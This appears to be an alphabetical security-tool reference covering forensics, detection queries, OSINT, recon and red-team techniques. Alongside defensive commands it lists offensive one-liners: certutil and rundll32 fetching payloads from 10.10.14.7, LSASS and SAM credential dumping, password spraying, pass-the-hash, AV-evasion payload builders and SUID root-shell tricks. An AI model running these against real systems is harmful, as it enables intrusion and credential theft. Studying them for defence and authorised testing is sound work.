CyLR.exe -od C:\evidence

OSINT framework that aggregates information about domains, emails, usernames and phone numbers from multiple public sources into one report.

Comprehensive bibliography database of computer-science publications, the standard way to trace an author's full publication history or a paper's exact venue and year.

The DoD Cyber Crime Center's forensic fork of GNU dd — adds on-the-fly hashing, progress reporting, split output and error logging that a plain dd lacks, for making verifiable evidentiary disk images.

dc3dd if=/dev/sdb hash=sha256 log=image.log of=image.dd

Another forensics-focused dd variant (originally DoD Computer Forensics Lab) — hashing, status output and multiple simultaneous output files during acquisition.

dcfldd if=/dev/sdb of=image.dd hash=sha256 hashlog=image.sha256

Enormous library of online solvers and identifiers for classical ciphers, encodings and CTF-favourite puzzle formats — often the fastest way to identify what you are even looking at.

Data recovery tool built to image failing drives — reads good sectors first and retries bad ones intelligently, maximising recovered data from a dying disk.

ddrescue -f -n /dev/sdb image.dd image.log

Deobfuscator for .NET assemblies that recognises and reverses common obfuscators (ConfuserEx, Babel, etc), a frequent prerequisite before a .NET CTF binary can be decompiled cleanly.

de4dot ./chall.exe

certutil doubles as a portable base64 decoder, useful when nothing else on the box will decode a payload.

certutil -decode encoded.b64 decoded.exe

Python bytecode decompiler for 3.7-3.8 .pyc files — turns a compiled Python challenge back into readable source.

decompyle3 challenge.pyc

A SANS PowerShell module that hunts Windows Event Logs for signs of attack — obfuscated PowerShell, suspicious account use, service creation — the kind of manual EVTX review a threat hunter would otherwise do by hand.

.\DeepBlue.ps1 -log security

Archive of past DEF CON talk slides, whitepapers and video, going back to the conference's early years — a large chunk of applied security research history.

A maintained, searchable reference of default usernames/passwords for hundreds of network appliances, admin panels and IoT devices, saving a wiki-diving detour mid-engagement.

Paid breach-data search engine indexing leaked credential dumps, searchable by email, username, IP, name or password hash — used for credential-exposure investigations.

Go-based, open-source C2 framework with a web UI, aimed at giving smaller red teams a free alternative to commercial platforms.

Generates HTA payloads that decrypt in-browser, defeating static-file AV scanning that never executes the page's own script.

python demiguise.py -f meter.hta -o out.hta -e something.js

Event ID 5007 fires whenever Defender configuration changes, the fastest way to notice someone quietly whitelisting their own tooling.

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Defender/Operational'; Id=5007}

-enc / -EncodedCommand is one of the most common obfuscation techniques seen in both commodity malware and offensive tooling.

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -match '-enc(odedcommand)?\s' }

Signature-based packer, compiler and file-type identifier for PE/ELF/Mach-O binaries — the modern, actively maintained successor to PEiD for "what packed this".

diec ./sample.exe

Sysmon Event ID 10 with a GrantedAccess mask like 0x1010 or 0x1438 against lsass.exe is the standard signature of a credential-dumping attempt.

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=10} | Where-Object { $_.Message -match 'lsass.exe' }

Security Event 4656 against HKLM\SAM is a strong indicator of an offline credential-dumping attempt via reg save.

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4656} | Where-Object { $_.Message -match 'SAM' }

schtasks /create is a common way both attackers and legitimate admin tooling establish persistence; logging the event catches both.

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4698}

A Vagrant/Packer-built lab that stands up a small Windows Active Directory environment pre-wired with Splunk, Sysmon and Windows Event Forwarding — a ready-made range for practicing detection engineering and threat hunting.

Rabobank's toolset for scoring data source visibility, detection coverage and threat-actor relevance against the MITRE ATT&CK matrix, to prioritise where to build detections next.

Converts Android's Dalvik .dex bytecode into a standard .jar so ordinary Java decompilers (JD-GUI, Bytecode Viewer) can read it.

d2j-dex2jar.sh app.apk

ANSSI's forensic artifact collection tool for Windows — configurable, digitally-signed collectors gather volatile and on-disk evidence at scale across an enterprise.

Advanced binary diffing plugin for IDA/Ghidra with more heuristics than BinDiff for matching renamed or restructured functions across versions.

A more rigorous battery of statistical randomness tests than ent, used to characterise a suspiciously weak or predictable PRNG behind a CTF crypto challenge.

dieharder -a -g 201 -f random_output.bin

A honeypot built to be exploited — emulates vulnerable network services (SMB, HTTP, FTP, MSSQL and more) specifically to capture the malware payloads that automated worms and bots drop when they try to exploit it.

A web content scanner that looks for existing (and hidden) objects by bruteforcing a wordlist against a target — one of the original tools in this space, still bundled in Kali.

dirb http://target/ /usr/share/wordlists/dirb/common.txt

Fox-IT's forensic framework for parsing disk images and filesystem artifacts at scale without mounting them — a Python toolkit built for automating triage across hundreds of acquisitions rather than one investigator, one image.

target-query disk.vmdk -f mft --csv

A configurable DNS proxy for penetration testers — redirects specific domains to attacker-controlled infrastructure, the DNS half of a phishing or MITM lab setup.

dnschef --fakeip 10.10.14.7 --fakedomains target.tld

Free web-based domain research tool that maps a domain's DNS records, subdomains and hosting relationships, with a graphical network map.

A classic Perl DNS enumeration tool — zone transfers, MX/NS/A record lookups, Google scraping for subdomains and brute-force, bundled into one script that predates most of the newer Go-based DNS tools.

dnsenum example.com

Reverse-lookup service for Google Analytics/AdSense IDs, nameservers and shared IPs — surfaces other domains run by the same operator even when WHOIS is hidden.

.NET assembly debugger, editor and decompiler in one — lets you set breakpoints and edit method bodies live inside a decompiled .NET binary, common in CTF "unmanaged reversing" of C# challenges.

.NET assembly editor, debugger and decompiler in one — edit IL or C# in place and re-save the assembly. The dnSpyEx fork carries on the original, now-archived dnSpy project.

Community-maintained continuation of dnSpy — a .NET assembly editor, debugger and decompiler, the standard tool for analysing .NET malware and unpacking .NET loaders.

A Python DNS enumeration and reconnaissance tool covering standard record enumeration, zone transfers, SRV record checks, reverse lookups over a range and Google/Bing subdomain scraping in one tool.

dnsrecon -d example.com -t std,brt

Generates and checks likely typosquatted, homoglyph and bit-flipped variations of a domain name — the standard tool for detecting phishing/brand-impersonation domains registered against a company before a takedown is needed.

dnstwist --registered example.com

Visualises and diagnoses a domain's DNS and DNSSEC delegation chain — spots misconfigurations that would otherwise show up only as intermittent, hard-to-explain resolution failures.

A fast, multi-purpose DNS toolkit from ProjectDiscovery — bulk resolution, wildcard filtering and record-type querying built for piping into and out of the rest of that project's recon tool chain.

subfinder -d example.com | dnsx -a -resp

Checks a Docker host and its running containers against the CIS Docker Benchmark — a fast, scripted way to see how far a host configuration is from the recommended baseline.

docker run --rm --net host --pid host --cap-add audit_control -v /var/lib:/var/lib:ro -v /var/run/docker.sock:/var/run/docker.sock:ro docker/docker-bench-security

Modern command-line DNS client with colourised, readable output and DNS-over-HTTPS/TLS support, a friendlier drop-in for everyday dig usage.

dog example.com MX @1.1.1.1

Command-line DNS client supporting DoH, DoT and DoQ with human-readable, colourised output — similar niche to dog, written in Go.

doggo example.com @https://1.1.1.1/dns-query

No extra tooling required: net.exe against a domain controller lists users and privileged groups using only built-in binaries.

net user /domain
net group "Domain Admins" /domain

Pulls the live user list and password policy straight from Active Directory before spraying, so lockout thresholds are respected automatically.

Invoke-DomainPasswordSpray -Password Summer2026! -OutFile sprayed.txt

Historical passive-DNS database (the former Farsight DNSDB) that tracks every observed DNS record over time, used to see what a domain resolved to in the past.

WHOIS lookup and historical WHOIS record database, widely used for domain ownership research and infrastructure attribution even after WHOIS privacy became the default.

Remotely dumps and decrypts Windows DPAPI-protected secrets (saved browser/RDP/Wi-Fi credentials, Credential Manager blobs) across a fleet of hosts.

donpapi collect -d corp.local -u user -p pass -t 10.10.10.0/24

Converts a .NET assembly, PE, VBS or PowerShell script into position-independent shellcode that can be injected into any Windows process, a common last-mile step in loader chains.

donut -i implant.exe -o loader.bin

Runs a set of search-engine dork queries and feeds the resulting URLs into a scanning module, chaining discovery and light vulnerability checks in one tool.

dorkbot -i google -q "inurl:admin" -s xss_scanner

Uses the built-in, code-signed certutil.exe to fetch a remote file without touching PowerShell, a classic LOLBAS download technique.

certutil.exe -urlcache -split -f http://10.10.14.7/payload.exe payload.exe

Agentless dynamic malware analysis system built on Xen VMI — observes a sample from outside the guest, so it leaves no in-guest artifacts for anti-analysis code to detect.

Android security assessment framework built around an in-app agent — enumerate and interact with exported activities, content providers, services and broadcast receivers from a console.

drozer console connect

Decodes common digital voice radio protocols (P25, DMR, D-STAR, NXDN and more) from a demodulated audio stream, typically fed by rtl_fm.

rtl_fm -f 154.6M -s 48000 | dsd -i - -o /dev/null

defaults read on an unfamiliar bundle ID can reveal configuration a piece of adware or malware wrote to persist its own settings.

defaults read com.apple.suspicious 2>/dev/null

Finds forgotten or stale IAM access keys across an AWS account — a common cloud hygiene gap and a fast win during a cloud security review.

aws iam generate-credential-report
aws iam get-credential-report --query 'Content' --output text | base64 -d

Quick manual persistence check across the four most commonly abused Run/RunOnce keys, without needing Autoruns installed on the box.

reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce"

Lists historical URLs archived under a domain via the CDX API, useful for finding old parameters, endpoints or files that were later removed from the live site.

curl -s "http://web.archive.org/cdx/search/cdx?url=*.example.com/*&output=text&fl=original&collapse=urlkey"

An unfamiliar or unsigned module in the list is one of the more reliable signs of a kernel-level rootkit.

lsmod | sort

The MiniDump export inside the built-in comsvcs.dll can be invoked through rundll32 to dump a process, including LSASS, without a separate tool.

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp full

reg save copies live registry hives to disk so they can be pulled offline and fed to a secrets-dumping tool, no third-party dumper required to obtain them.

reg save HKLM\SAM C:\Windows\Temp\sam.save
reg save HKLM\SYSTEM C:\Windows\Temp\system.save

security is the built-in macOS CLI for keychain access — useful for authorised credential-recovery/incident-response work; it still prompts for the keychain password per item unless already unlocked.

security dump-keychain -d ~/Library/Keychains/login.keychain-db

Targeted rogue-AP toolkit for attacking WPA2-Enterprise networks — evil twin EAP portals to harvest credentials or relay them, plus PMKID/handshake capture for the WPA2-PSK case.

./eaphammer -i wlan0 --channel 6 --auth wpa-eap --essid CorpWiFi --creds

The SIEM and endpoint-security layer built on the Elastic Stack — detection rules, timeline investigation and case management on top of whatever logs and Elastic Agent/Beats data are already being shipped.

NetFlow/sFlow/IPFIX analytics built on the Elastic Stack — ships flow data into Elasticsearch with ready-made dashboards for network traffic visibility.

Commercial mobile forensics tool for acquiring iOS/iCloud and some Android/BlackBerry backups and keychains — widely used in lawful mobile device examinations.

Post-exploitation and C2 framework (PowerShell/Python/C# agents) maintained by BC Security after the original PowerShell Empire project was discontinued; ships with a large stager and module library.

./ps-empire server

Base64-wrapping a command and decoding it inline is a quick way past a filter that blocks certain characters in a command-injection point.

echo 'aWQ7d2hvYW1p' | base64 -d | bash

Small statistical test suite measuring the randomness quality (entropy, chi-square, serial correlation) of a byte stream — a quick sanity check for whether a CTF crypto challenge's 'random' keystream actually is.

ent ciphertext.bin

GCS exposes bucket listings over a plain JSON endpoint; a misconfigured bucket returns its full object list to an unauthenticated request.

curl -s "https://storage.googleapis.com/storage/v1/b/target-bucket/o" | jq "."

The SecurityCenter2 namespace lists every registered antivirus product, which shapes what evasion, if any, is even relevant.

Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct | Select-Object displayName, productState

A binary with cap_setuid or cap_sys_admin set as a file capability can escalate privileges exactly like a SUID bit, without the bit itself being set.

getcap -r / 2>/dev/null

Get-ScheduledTask surfaces the same data as schtasks /query but is easier to filter and pipe into further checks.

Get-ScheduledTask | Where-Object { $_.State -ne 'Disabled' } | Select-Object TaskName, TaskPath, State

A service running as LocalSystem with a weak ACL or a hijackable binary path is the bread and butter of Windows local privesc.

Get-WmiObject win32_service | Select-Object Name, StartName, PathName, State | Sort-Object StartName

Pulls every certificate-transparency-logged hostname for a domain straight from crt.sh's JSON API, no browser needed.

curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r ".[].name_value" | sort -u

LaunchDaemons run as root at boot regardless of login, so an unfamiliar one here is a higher-severity find than a user LaunchAgent.

ls -la /Library/LaunchDaemons
plutil -p /Library/LaunchDaemons/*.plist

A service path with a space and no quotes lets Windows try each intermediate directory in turn; dropping a binary in the right one hijacks the service.

wmic service get name,pathname,startmode | findstr /i auto | findstr /i /v "C:\Windows\" | findstr /i /v """"

Per-user LaunchAgents run at login without needing root, making them the most common macOS persistence location for malware and legitimate tools alike.

ls -la ~/Library/LaunchAgents
plutil -p ~/Library/LaunchAgents/*.plist

Email OSINT tool that checks a target address against Google, Skype, Amazon and other services to reveal linked account names, profile photos and registration status.

A suite of free, individually-focused Windows forensic parsers — Registry Explorer, MFTECmd, EvtxECmd, PECmd (prefetch), Timeline Explorer and more — that between them cover most Windows artifact types KAPE collects.

MFTECmd.exe -f "$MFT" --csv out\

A long-standing comprehensive suite for man-in-the-middle attacks on a LAN — live connection sniffing, ARP poisoning and content filtering, with both a CLI and a GUI.

ettercap -T -M arp:remote /10.10.10.1// /10.10.10.10//

The standard WinRM shell for penetration testing — a full interactive PowerShell-like session over WinRM, with upload/download and Kerberos/pass-the-hash support built in.

evil-winrm -i 10.10.10.10 -u Administrator -H <ntlm-hash>

Crafts malicious MS Office documents — hides VBA macros, tricks analysis tools that assume Windows-only olevba parsing, and stomps VBA p-code to hide source from AV.

EvilClippy.exe -s fake_macro.vba template.xls

Eric Zimmerman's EVTX parser — turns Windows Event Logs into CSV/JSON/timeline output with maps for common event IDs, much faster than the native Event Viewer for bulk triage.

EvtxECmd.exe -f Security.evtx --csv out --csvf security.csv

A dependency-free lateral movement primitive once credentials for the target are already known, no PsExec binary required.

wmic /node:"10.10.10.5" /user:"DOMAIN\admin" process call create "cmd.exe /c whoami > C:\Windows\Temp\out.txt"

forfiles.exe passes an arbitrary command to /c, a built-in binary that quietly runs code and is easy to overlook in a LOLBAS sweep.

forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /c calc.exe"

MSBuild.exe ships with the .NET framework and will run inline tasks embedded in a project file, bypassing simple AppLocker rules.

MSBuild.exe payload.csproj

InstallUtil.exe runs the Uninstall-decorated method of a .NET assembly, a signed-binary execution path that predates most AppLocker rulesets.

InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe

The COM-registration utility runs a marked class constructor from a signed .NET assembly, another AppLocker-friendly LOLBAS binary.

Regasm.exe /U payload.dll

rundll32.exe can invoke a remote scriptlet through the mshtml/advpack chain, another built-in binary that executes attacker script.

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://10.10.14.7/payload.sct")

Lightweight PE packer/compiler signature scanner with built-in unpacker scripts for common packers — a quick first pass before deeper static analysis.

Reads, writes and edits metadata across an enormous range of file formats — the standard tool for pulling (or stripping) EXIF, GPS and authorship data out of files.

exiftool suspicious.jpg

Pastes a shell command and breaks down what every flag and pipe segment does against the real man page — handy for decoding an unfamiliar one-liner found in a writeup or a payload.

Series of downloadable VM-based wargames (Phoenix, Nebula, Fusion and others) teaching binary exploitation fundamentals step by step.

Runs an XPath query straight against an exported .evtx file with the built-in wevtutil, no PowerShell EVTX cmdlets or third-party parser required.

wevtutil qe Security.evtx /lf:true /q:"*[System[(EventID=4688)]]" /f:text > logons.txt

Pulls every IPv4 address and FQDN-looking string out of an arbitrary text blob (a vendor report, a phishing email, a log dump) for quick pivoting into a threat-intel lookup.

grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' report.txt | sort -u
grep -oE '\b[a-z0-9.-]+\.[a-z]{2,}\b' report.txt | sort -u

strings piped through a targeted grep is still the fastest way to spot an embedded API key, password or URL in an unfamiliar binary.

strings -n 8 ./binary | grep -iE 'password|api[_-]?key|token|http://|https://'

Takes screenshots of a large list of web services and organises them into a browsable report — the fastest way to triage which of a thousand open ports is actually worth looking at by hand.

eyewitness --web -f urls.txt -d report/

Python framework (with GoodFET/GreatFET/Cynthion hardware backends) for emulating arbitrary USB devices in software, used to fuzz host USB stacks/drivers or spoof a device a host expects.

Public database of pre-computed integer factorizations — before spinning up a sieve, check whether someone already factored the exact RSA modulus a challenge gave you.

The long-standing log-watching intrusion prevention daemon — matches patterns like repeated failed SSH logins in a log file and reacts by firewalling the offending IP, no agent or cloud dependency required.

fail2ban-client status sshd

Mandiant's next-gen network simulation tool for dynamic malware analysis — intercepts and fakes DNS/HTTP/HTTPS/SSL traffic on the analysis host itself, no separate VM needed.

fakenet.exe

A CNCF runtime security tool for containers and Kubernetes — watches kernel syscalls against a rule set to detect unexpected process execution, privilege escalation and file access inside running workloads.

Free genealogy-oriented people search that surfaces relatives, associates and address history from public genealogical and property records.

Lightweight standalone Windows live-response collector — pulls processes, network connections, services, scheduled tasks and registry artifacts into a single CSV bundle.

Free US people-search aggregator similar in scope to TruePeopleSearch, drawing on the same class of public-record data brokers.

Brute-force and dictionary password cracker for ZipCrypto-protected archives — the go-to before reaching for bkcrack's known-plaintext approach.

fcrackzip -u -D -p rockyou.txt secret.zip

NCC Group's automated cryptanalysis tool — feeds ciphertext through a battery of checks for weak or misused crypto (ECB, small keyspace, XOR, RSA flaws) rather than guessing by hand.

python featherduster.py

A dependency-free bash IOC scanner in the same family as Loki — checks hashes, filenames, string matches and suspicious permissions against a simple indicator list, for hosts where nothing heavier can be installed.

./fenrir.sh /path/to/scan

abuse.ch's tracker for Emotet/Dridex/QakBot/TrickBot-family botnet C2 servers — publishes a live blocklist of active C2 IPs.

A fast, recursive content-discovery tool written in Rust — automatically dives into discovered directories without needing to be re-run manually, unlike gobuster/dirb.

feroxbuster -u https://target.tld -w wordlist.txt -x php,html,txt

RDAP is the structured-JSON successor to WHOIS; rdap.org routes the query to the right registry and hands back machine-readable output.

curl -s https://rdap.org/domain/example.com | jq ".events, .entities"

A fast web fuzzer written in Go — content discovery, virtual-host fuzzing and parameter fuzzing, all through one flexible FUZZ-keyword syntax.

ffuf -u http://target/FUZZ -w wordlist.txt -mc all -fc 404

A Windows kernel-level observability and detection tool — captures and filters the raw kernel event stream (process, file, registry, network) with its own filtering expression language, built for host-based threat hunting.

fibratus run kevt.name = 'CreateProcess'

A DNS reconnaissance tool that locates non-contiguous IP space and hostnames against a target domain — zone transfer attempts, wordlist-based subdomain brute-forcing and reverse lookups to map a domain's DNS footprint.

fierce --domain example.com

Identifies a file's actual type by inspecting its content (magic bytes) rather than trusting its extension — the very first command to run on anything unidentified.

file suspicious.bin

A GTFOBins classic: find's -exec flag runs an arbitrary command, so a SUID find binary hands you a root shell outright.

find . -exec /bin/sh -p \; -quit

ConsoleHost_history.txt often has the last few commands an admin ran, credentials and all, worth checking before assuming a box is a dead end.

Get-Content (Get-PSReadlineOption).HistorySavePath

A python or perl interpreter carrying cap_setuid, whether via file capability or SUID, is functionally a root shell one command away.

getcap -r / 2>/dev/null | grep -Ei 'python|perl|ruby'

A one-liner CTF/OSCP staple: lists every SUID-bit binary on the filesystem, which you then cross-reference against GTFOBins for a breakout primitive.

find / -perm -4000 -type f 2>/dev/null

On a box recently compromised or patched, files touched in the last hour are the fastest lead into what actually changed.

find / -xdev -mmin -60 -type f 2>/dev/null | grep -v -E '^/(proc|sys)'

Orphaned files, from a deleted user or a broken container mount, sometimes carry permissions from a since-removed privileged account.

find / -xdev \( -nouser -o -nogroup \) 2>/dev/null

A dotfile dropped outside the usual home-directory locations is a common, low-effort way malware hides its working directory.

find / -xdev -name ".*" -not -path "/home/*/.*" -not -path "/proc/*" 2>/dev/null

Surfaces 4732/4728 (member added to a security-enabled local/global group) events — the classic signal for privilege escalation via group membership abuse.

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4732,4728} |
  Select-Object TimeCreated, Id, @{n='Member';e={$_.Properties[0].Value}}, @{n='Group';e={$_.Properties[2].Value}}

A container started with --privileged shares the full capability set of the host kernel, so code execution inside it is effectively code execution on the host.

docker ps --format '{{.ID}} {{.Names}}' | xargs -I{} docker inspect {} --format '{{.Name}}: Privileged={{.HostConfig.Privileged}}'

Cross-references bucket ACLs and policies for public access — the single most common AWS misconfiguration behind accidental data exposure.

aws s3api list-buckets --query 'Buckets[].Name' --output text | \
tr '\t' '\n' | while read b; do
  aws s3api get-bucket-policy-status --bucket "$b" --query 'PolicyStatus.IsPublic' --output text 2>/dev/null | grep -q true && echo "PUBLIC: $b"
done

A world-readable id_rsa under any home directory is often worth more than any local exploit chain on the box.

find / -xdev \( -name 'id_rsa*' -o -name '*.pem' \) 2>/dev/null | xargs -r ls -la

A plist edited outside a software update window is a strong signal of manual persistence tampering.

find /Library /System/Library ~/Library -name '*.plist' -mtime -7 2>/dev/null

Same idea as SUID but for group-inherited execution, checked less often and just as exploitable when misconfigured.

find / -perm -2000 -type f 2>/dev/null

The single most common first step in Linux privesc enumeration; any SUID binary outside a known-safe list is worth checking against GTFOBins.

find / -perm -4000 -type f 2>/dev/null

Attacker-planted SUID binaries are a common Linux persistence/privesc trick; this lists every SUID/SGID file so you can eyeball it against a known-good baseline.

find / -xdev \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \; 2>/dev/null

A world-writable file owned by root, or referenced by a privileged process, is a common and easy escalation vector.

find / -xdev -type f -perm -0002 2>/dev/null

A file that root owns but anyone can write to is often the difference between a foothold and full compromise — this finds every one on the box.

find / -writable -user root -type f 2>/dev/null | grep -v "^/proc"

IDA/Ghidra plugin that scans a binary for known cryptographic constants (AES S-boxes, SHA/MD5 initialisation vectors, CRC tables) and flags exactly where a crypto routine sits.

Fast Rust subdomain enumerator that queries certificate-transparency logs and multiple passive-DNS APIs, with an optional monitoring mode for new subdomains.

findomain -t example.com -o

Built-in findstr recurses a directory tree grepping for a string — handy for hunting "password" in config files without installing anything.

findstr /si password *.txt *.config *.ini *.xml

Mandiant's tool for extracting obfuscated/encoded strings from a binary by emulating the routines that decode them at runtime — surfaces strings plain `strings` cannot see.

floss ./chall

Mandiant's Windows counterpart to REMnux — a scripted install of a full reverse-engineering and malware-analysis toolchain onto a fresh Windows VM, for analysing Windows malware in its native environment.

Reads, writes and verifies SPI/parallel flash chips (BIOS/UEFI, router firmware, embedded device flash) with a wide range of cheap programmers, in-system or desoldered.

flashrom -p ch341a_spi -r backup.bin

Decodes, brute-forces and re-signs Flask's itsdangerous-based session cookie, recovering the app's SECRET_KEY from a wordlist and letting you forge an arbitrary session.

flask-unsign --unsign --cookie "<session_cookie>" --wordlist rockyou.txt

An open-source management layer for osquery — schedules queries, manages the agent fleet and turns raw osquery output into a usable device-inventory and detection tool at organisation scale.

Pocket multi-tool for RF/RFID/NFC/infrared/iButton with a Dolphin-themed UI — reads, emulates and replays sub-GHz, 125kHz LF and 13.56MHz HF tags, plus GPIO for basic hardware hacking.

FireEye Labs Obfuscated String Solver — automatically extracts stack strings, decoded strings and tight-loop-obfuscated strings that plain `strings` misses in packed/obfuscated malware.

floss malware.exe -o strings.txt

Mandiant's successor to plain `strings` for malware triage — statically emulates a binary just enough to decode stack strings, obfuscated strings and strings built at runtime that a normal string dump never reveals.

floss malware.exe

Internet asset search engine (Huawei/Baimaohui-affiliated) with its own query syntax for finding hosts by banner, title, certificate or icon hash.

A file-carving tool that recovers files from a disk image or raw data stream based on headers and footers, independent of the filesystem metadata around them.

foremost -i disk.img -o carved/

Browser-based image forensics toolkit (29a.ch) offering ELA, clone detection, noise analysis and metadata extraction without uploading the image anywhere.

GhostPack tool that forges "golden certificates" from a compromised AD CS CA private key, minting arbitrary user certificates even after the CA cert is rotated.

Error Level Analysis and metadata forensics for a submitted photo, used to spot edited/composited regions and inconsistent compression history.

Parallel ping utility — sweeps a whole subnet for live hosts far faster than scripting individual ping calls, a first step in any network inventory.

fping -a -g 10.10.10.0/24 2>/dev/null

Lattice reduction library (LLL and BKZ) that underlies most CTF lattice attacks — Coppersmith's method, knapsack/subset-sum crypto, and small-root RSA attacks all reduce to a lattice problem this solves.

Python bindings for fplll, letting CTF crypto scripts build and reduce lattices directly instead of shelling out or reimplementing LLL from scratch.

Dynamic instrumentation toolkit for injecting JavaScript into a running process to hook functions, dump traffic or bypass checks — as at home reversing a mobile app as a native binary.

frida -U -f com.target.app -l hook.js --no-pause

Exterro's free disk-imaging and preview tool — creates forensically sound images (E01/dd), previews a live system's files and memory, and generates hashes for chain-of-custody, without needing the full FTK suite.

Archived mirror of the Full Disclosure mailing list — unmoderated public vulnerability disclosure going back decades, searchable by keyword.

Attack-surface search engine and monitoring platform that continuously tracks a company's exposed hosts, subdomains and services.

Dictionaries of attack payloads and predictable filenames/paths for discovery and fuzzing (injection strings, common backup/config filenames, error-message patterns), maintained separately from SecLists.

NCC Group's Google Cloud Platform security auditing tool — pulls IAM, network and resource configuration and highlights common GCP misconfigurations.

Node.js BLE MITM/impersonation toolkit — scans and clones a target device's GATT profile so a fake peripheral can sit between a phone app and the real hardware.

node scan.js

Fetches known URLs for a domain from the Wayback Machine, Common Crawl, AlienVault OTX and urlscan.io — a broader net than waybackurls alone.

echo target.tld | gau

Enumerates Google Cloud Storage bucket names for a target and checks the current (or anonymous) credentials for read/write/delete access on anything found.

python3 gcpbucketbrute.py -k target

The GNU Debugger, and GEF — the plugin that turns it into a usable exploit-development environment with heap analysis, ASLR/PIE-aware context, and pwn-focused conveniences GDB alone doesn't have.

gdb -q ./binary

Another exploit-dev focused GDB plugin, with heap/format-string/ropper helpers and a large command set; the main alternative to pwndbg.

bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

Generates a De Bruijn-style non-repeating pattern to feed a crashing binary, then recovers the exact byte offset to the overwritten return address/register from the crash value.

python3 -c "from pwn import *; print(cyclic(200))"
# after the crash, recover the offset from the corrupted value:
python3 -c "from pwn import *; print(cyclic_find(0x6161616161616161))"

Fast, configurable Android emulator built on VirtualBox/QEMU, popular for mobile app testing because it is quicker to snapshot/reset and easier to root than the stock AVD emulator.

AI-assisted geolocation tool that estimates where a photo was taken from visual cues alone (terrain, signage, architecture) — a modern automation of manual geolocation OSINT.

NSA's free, open-source software reverse-engineering suite — disassembler, decompiler and a scripting API, the free alternative most people reach for before IDA Pro.

A C# host-survey tool that checks a huge list of security-relevant settings and artefacts in one pass — AV/EDR presence, patch level, AppLocker, credential-storage locations and more.

.\Seatbelt.exe -group=all

Google account OSINT tool that resolves a Gmail address to its Google ID, name, profile photo and exposure across Google services (Maps reviews, calendar, photos).

ghunt email [email protected]

Hides a message inside a GIF by shuffling its colour palette order rather than touching pixel data, leaving the visible image completely unchanged.

gifshuffle -p "password" cover.gif out.gif secret.txt

GitHub's curated database of security advisories for open-source packages across major ecosystems (npm, PyPI, Maven, RubyGems, etc.), backing Dependabot alerts.

Scan a git repository's full history for accidentally committed secrets (API keys, tokens, credentials) rather than just the current checkout.

pip install trufflehog3
trufflehog3 https://github.com/org/repo.git
# or the Go rewrite, scanning a local clone including history:
trufflehog git file://./repo

Open hardware/FPGA-based multi-protocol debug tool — a growing library of applets for talking, sniffing and glitching just about any low-speed digital interface (UART, SPI, I2C, JTAG, flash) from one board.

glasgow run uart -V 3.3 --pins-rx=0 --pins-tx=1

Global registry of Legal Entity Identifiers, ties a company name to a verified, internationally standardised legal identity record.

Downloads and builds any historical glibc version with debug symbols so a pwn exploit can be developed and tested against the exact libc the target ships.

./download.sh
./build.sh 2.31-0ubuntu9.9 amd64

The Honeynet Project's generic low-interaction honeypot proxy — sits in front of any TCP port, logs every connection and can hand off to protocol-specific honeypots behind it, useful as a catch-all sensor across a whole address range.

Python bindings to GMP/MPFR/MPC for fast arbitrary-precision integer and rational arithmetic — nearly every from-scratch CTF crypto script leans on it instead of native Python ints for speed.

A free software-defined-radio development toolkit — a flow-graph-based signal-processing framework that HackRF, RTL-SDR, BladeRF and USRP tooling is commonly built on top of.

Real-time terminal and browser web log analyzer — parses Apache/Nginx access logs on the fly for traffic, status codes and suspicious request patterns during an incident.

goaccess access.log -o report.html --log-format=COMBINED

A fast Go-based bruteforcer for directories/files, DNS subdomains, virtual hosts and S3 buckets — the everyday content-discovery default for a lot of testers.

gobuster dir -u http://target -w wordlist.txt -x php,txt,bak

Free monitoring service that emails you whenever a new page matching a search term is indexed, used for ongoing passive monitoring of a target or brand.

Exploit-DB's long-running, categorised archive of Google dorks for finding exposed files, login portals, error messages and vulnerable systems via search-engine indexing.

General academic search engine widely used to trace citations of a security paper and find who has since built on or broken a given technique.

An open-source phishing-simulation platform for authorised security-awareness testing — campaigns, templates, landing pages and click/report tracking in one dashboard.

Subdomain-permutation generator similar in purpose to altdns, with adjustable permutation depth and its own wordlist format.

gotator -sub subdomains.txt -perm permutations.txt -depth 1 -numbers 3

A Go-based web screenshot utility built for the same triage job as EyeWitness, using a headless Chrome for the capture and shipping as a single static binary.

gowitness scan file -f urls.txt

GNU Radio-based SDR receiver GUI for Linux/macOS with a waterfall display and the standard analog demodulators — a common first stop for exploring what a new SDR dongle can hear.

GNU Radio out-of-tree module for receiving and decoding GSM traffic with an SDR — the standard building block behind most "GSM sniffing with a $20 dongle" demos.

grgsm_livemon_headless -f 935.2M

One loop instead of six separate dig invocations when you want the full picture of a domain's A/AAAA/MX/TXT/NS/SOA/CNAME records.

for t in A AAAA MX TXT NS SOA CNAME; do echo "== $t =="; dig +short example.com "$t"; done

A Burp Suite extension (InQL) and standalone tooling for exploring and attacking GraphQL APIs — schema introspection, query generation and batching-attack helpers.

NSA-released passive network mapping tool for ICS/SCADA environments — builds a topology map from captured traffic without sending any packets onto often-fragile OT networks.

A centralised log management platform built on Elasticsearch/OpenSearch and MongoDB — search, dashboards and alerting across every log source pointed at it, a common lighter-weight alternative to a full Elastic SIEM build.

Great Scott Gadgets' general-purpose USB hardware hacking tool — GPIO, SPI, I2C, and a software-defined peripheral bus for talking to almost anything on a board over USB from a host script.

gf info

Counts failed SSH password attempts per source IP from the system auth log — the fastest confirmation of a brute-force before reaching for fail2ban logs or a SIEM.

grep 'Failed password' /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -20

